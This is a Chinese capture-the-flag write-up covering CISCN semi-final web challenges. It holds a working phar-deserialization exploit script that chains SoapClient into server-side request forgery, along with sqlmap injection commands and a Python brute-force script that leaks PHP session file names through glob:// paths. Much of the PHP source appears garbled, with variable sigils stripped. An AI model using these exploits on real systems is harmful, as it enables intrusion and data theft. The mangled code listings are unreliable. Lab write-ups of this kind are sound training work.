CISCN-复赛-华东北赛区WP-web

CISCN-复赛-华东北赛区WP-web

image-20220624174150515

这个复赛可以说是拉大胯了,不过不管怎么说,最起码也是有惊无险的进入决赛了,差点就危了…

下面wp除了Java之外其它题目的WP都有了,想要找Java题目WP的师傅可以转走了

1.welcomeToCiscn

直接通过访问/flag获取flag

http://192.168.166.147:58005/flag

image-20220624173807908

flag{61ee5435b6f59d42329ac2644d887dc2}

2.ezphp(300分)

WEB手用QQ就能做题,提交flag格式:flag{xxxx},该题环境的ip为:web-模板机get_ip的ip,端口为:58003

http://192.168.166.147:58003

打开题目就跳转到腾讯网页面,F12流量监控也没找到题目正常的返回数据,就用了Burp代理

image-20220619194519069

打开Burp看到流量发往了www.qq.com,手动修改了一下流量目的地址和请求头host

image-20220619194841691

image-20220619195032081

可以看到这回一个提供文件上传接口的地方,访问一下upload.php可以得到源码,但一些字符被html编码

image-20220619195647524

到本地写html页面访问即可得到源码:

upload.php

 <?php
highlight_file(__FILE__);
header("content-type:text/html;charset=utf-8");  //设置编码
error_reporting(0);
include "config.php";
ini_set("max_execution_time","5");
//flag in flag.php
if(strlen(_FILES['file']['tmp_name'])>0){filetype = _FILES['file']['type'];tmp = _FILES['file']['tmp_name'];content=file_get_contents(tmp);
    if (preg_match("/<\?|php/i",content )){
        echo "go away!!!! hacker";
        exit();
    }
    filepath="storage/";

    if(filetype=="image/gif" ){
        random_name=substr(md5(time()), 0, 8);
        if(move_uploaded_file(tmp,filepath.random_name.".gif")){
            echo "上传成功:路径在: ./".filepath.random_name.".gif";
        }else{
            echo "上传失败";
        }
    }
    else{
        echo "invalid gif";
    }
}
function checkimg(img){check=getimagesize(img);
    if ((check!=false) && (check['mime'] == 'image/gif')){
        echo "safe image";
    }
    else{
        echo "go away hacker";
    }
}img=_GET["img"];    
if (isset(img)){
    checkimg($img);
}

config.php

<?php
highlight_file(__FILE__);
class Mysql{
    public conn;
    publicdbhost;
    public dbusername;
    publicdbpasswd;

    public function __construct()
    {
        if(isset(_POST['dbhost'])&&isset(_POST['dbusername'])&&isset(_POST['dbpasswd']))
        {this->dbhost=_POST['dbhost'];this->dbusername=_POST['dbusername'];this->dbpasswd=_POST['dbpasswd'];
        }
    }

    public function connect()
    {this->conn=new mysqli(this->dbhost,this->dbusername,this->dbpasswd);
        if(this->conn->connect_error)
        {
            echo "Connection failed: {this->conn->connect_error}";
            return False;
        }result=this->conn->query("select * from test");
        if(is_resource(result))
        {
            return result->fetch_assoc();
        }
        else
        {
            return False;
        }
    }

    public function __destruct()
    {this->conn->close();
    }
}

这里提示了flag.php访问一下可以直接得到源码:

<?php
if (_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
    file_put_contents("flag.txt",flag);
} 

分析:

  1. upload.php
    1. 文件类型为image/gif且不被正则"/<\?|php/i"匹配到的时候会将文件上上传到storage/xxxxxxxx.gif
    2. 如果有img参数的时候会使用getimagesize函数获取图片信息
  2. config.php
    1. 只有一个类:Mysql
    2. 它的connect函数不可用,能利用的函数只有__destruct,在它里面调用了关闭连接的函数$this->conn->close();
  3. flag.php
    1. 这里会将flag复制到flag.txt中,但是必须本地访问才行

解题思路:

  1. 首先明确最后目标:实现127.0.0.1访问flag.php
  2. 文件内容正则匹配php并且有getimagesize函数就很自然想到phar反序列化
  3. 反序列化什么类呢?这里给了Mysql类,就从它入手,结合最终目的SSRF想到原生类利用中的SoapClient,销毁函数会调用conn成员的close函数,就满足SoapClient__call函数执行条件

最终得到解题步骤:

  1. 构造一个Mysql对象,让它的conn成员访问http://127.0.0.1/flag.phpSoapClient对象
  2. 将得到的对象放入Phar文件的Metadata数据段
  3. 为了绕过正则过滤,将原始的phar压缩为.tar.gz

构造实现脚本:

<?php
class Mysql
{
    public conn;
    publicdbhost;
    public dbusername;
    publicdbpasswd;

    public function __construct(conn,dbhost, dbusername,dbpasswd)
    {
        this->conn =conn;
        this->dbhost =dbhost;
        this->dbusername =dbusername;
        this->dbpasswd =dbpasswd;
    }
    public function __destory(){
        @system("calc");
        this->conn->clase();
    }
}soap = new SoapClient(null,array("location"=>"http://127.0.0.1/flag.php","uri"=>"http://127.0.0.1/flag.php"));
mysql=new Mysql(soap,
    "xxx",
    "xxx",
    "xxx",
);

ser=mysql;
@unlink("phar.gif");
phar = new Phar("phar.phar");phar = phar->convertToExecutable(Phar::TAR,Phar::GZ);phar->startBuffering();
phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");phar->setMetadata(ser);phar->addFromString("f1ag.txt","f1ag{PharData}");
$phar->stopBuffering();
@system("move phar.phar.tar.gz phar.gif");
@system("ls|findstr phar");
include("phar://./phar.gif/f1ag.txt");
@system("type phar.gif");

运行上面脚本可以获得phar.gif并且输出里面的数据,然后可以看到生成的phar.gif并没有正则匹配的数据段

再写一个form表单向题目上传文件:

<html lang="en">
<body>
<form action="http://192.168.166.147:58003/upload.php" name="name" method="post" enctype="multipart/form-data" target="">
    file:<input type="file" name="file">
    <br>
    <input type="submit" value="提交">
</form>
</body>
</html>

image-20220619202551241

上传文件后自动跳转到题目的/upload.php下面,得到文件上传地址

image-20220619202710848

然后使用phar协议加载这个文件地址即可触发反序列化

http://192.168.166.147:58003/upload.php?img=phar://./storage/ae08a63f.gif

image-20220619203123372

最终会因为反序列化调用SoapClient访问/flag.php而将flag写入flag.txt,但是因为我们的文件格式并不是gif所以并不会满足if条件而输出go away hacker但是问题不大,此时去访问flag.txt即可得到flag

http://192.168.166.147:58003/flag.txt

image-20220619203336153

3.ezsql(300分)

炒鸡简单的注入,送大分。提交flag格式:flag{xxxx}。该题环境的ip为:web-模板机get_ip的ip,端口为:58004

http://192.168.166.147:58004

注入点为第二和第三个功能框,这里选用了第三个功能框,添加类型的地方就是注入点,把请求拉下来之后可以直接跑sqlmap,但是离谱的是我们只能读取到<blank>

–-dbs --batch       #查表名

sqlmap -u "url" -D f0ig_wdp435s --tables --batch      #查表名

sqlmap -u "url" -D f0ig_wdp435s -T fllaaagggg --columns --batch   #查字段名

sqlmap -u "url" -D f0ig_wdp435s-T fllaaagggg -C FI@g --dump --batch   #查字段值(flag)

一开始以为是需要建表读取/flag或者提升为root读取其它数据库,结果发现不仅不支持堆叠,而且当前已经是root了,最后我们几乎把整个数据库都给dump下来了都没见过flag

赛后找到其他师傅问到的wp看到flag就在

4.会聊天的ctf(600分)

小明最近在学PHP,写了一个聊天机器人,看上去不太智能也不太安全的样子。他还使用了测试账号进行测试,似乎留有一些痕迹。 提交答案格式:flag{xxx}。该题环境的ip为:web-模板机get_ip的ip,端口为:58001

http://192.168.166.147:58001

POC:

import random
import string

import requests
url="http://1.117.23.177/test.php"
session_id="sess_"
session=requests.session()

while 1:
    for c in "xq"+string.ascii_lowercase + string.digits:
        # 自行修改文件地址为对应的session保存地址,使用题目地址的话需要确保www-data用户可以建立文件夹并且有读取权限
        # 先确认好这个,要不然跑不出来闹乌龙
        # 下面请求后生成一个session为qf4d2jtij6qsn89ms4nlag8rvg的文件/var/lib/php/sessions/sess_qf4d2jtij6qsn89ms4nlag8rvg
        filename = "glob:///var/lib/php/sessions/"+session_id+c+"*"
        data = {
            "uploadc": "xxx",
            "cname": filename
        }
        res = session.post(url, data, cookies = {"PHPSESSID":"qf4d2jtij6qsn89ms4nlag8rvg"})
        print( res.text )
        data = {
            "input": "xxx"
        }
        print("-"*50)
        res = session.post(url, data, cookies = {"PHPSESSID":"qf4d2jtij6qsn89ms4nlag8rvg"})
        print(res.text)
        if "请先上传词库文件" not in res.text:
            session_id += c
            print("session is =>",session_id)
        print("-"*100)

为方便测试,改一下原本的代码:

<?php

function init(){
//    sesspath = "/tmp/session";
//    session_save_path(sesspath);
    //因为本地有一些权限问题所以就不该session文件路径了,直接使用默认路径
    session_start();
    if (!_SESSION['cname']){_SESSION['cname'] = 'ck';
    }
//    if(!file_dir_exists("/tmp/resource"))
//        mkdir("/tmp/resource");
}
init();
function file_dir_exists(path){
    echo "file_dir_exists::PATH::path\n";
    dir = dir(path);
    dir_read =dir->read();
    echo "DIR_READ::".dir_read."\n";
    if (dir){
//        if (dir->read())
        if (dir_read)
            return true;
    }
    return is_file(path);
}

function getres(input){
    log_write(input);
    chdir("/tmp/resource/");path = _SESSION['cname'];
    if(!file_dir_exists(path)){
        return "请先上传词库文件。";
    }
    ck = json_decode(file_get_contents(path),true);
    foreach (ck askey => value){
        if (strstr(key,input) or strstr(input,key)){type = key(value);v = value[type];
            switch (type){
                case "string":
                    returnv;
                case "image":
                    b64img = '<img src="data:image/png;base64,'.base64_encode(file_get_contents(v)) . '"/>';
                    return b64img;
                case "calc":
                    if (_SESSION['is_admin']){
                        if (preg_match("/\(|\)|\'|\"/im",v)){
                            return "包含非法字符";
                        }
                        return eval("returnv;");
                    }else{
                        return "admin才能使用这个功能";
                    }
                default:
                    return "这个动作暂时还没能实现";
            }

        }
    }
    return "没有匹配到词库消息";
}

function uploadc(){
    data =_REQUEST['uploadc'];
    filename =_REQUEST['cname'];
    resourcedir = "/tmp/resource/";
//    if(!file_dir_exists(resourcedir))
//        mkdir(resourcedir);
    if(strpos(data,"<")){
        die("别这样!");
    }
    if(strpos(filename,".")){
        die("别这样!");
    }_SESSION['cname'] = filename;
    echo "设置SESSION_CNAME成功:"._SESSION['cname']."\n";
    if(file_put_contents(resourcedir.filename,data)) {
        return "上传成功";
    }else{
        return "上传失败";
    }
}
function log_write(msg){
    logpath = "log.txt";oper = session_id();
    opername = substr(oper,0,1) ;
    for (i=0;i <= strlen(oper);i++)
        opername .= "*";
    file_put_contents(logpath,"opername :msg \n",FILE_APPEND);
}

if(isset(_REQUEST['input']))
    echo getres(_REQUEST['input']);
if(isset(_REQUEST['uploadc']))
    echo uploadc();
if(isset(_REQUEST['clear']))
    file_put_contents("log.txt","");
if(isset($_GET['log']))
    echo file_get_contents("log.txt");

5.Easy_Java(300分)

简单的Java反序列化,提交flag格式:flag{xxxx},该题环境的ip为:web-模板机get_ip的ip,端口为:58002

http://192.168.166.147:58002

这个只知道是应该是cc5打TiedMapEntry的totring方法,执行点需要是一个无参点,但是因为本地的java链接不上maven项目的jar包根本调不下去就没做了,大摆….

image-20220620205401982

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇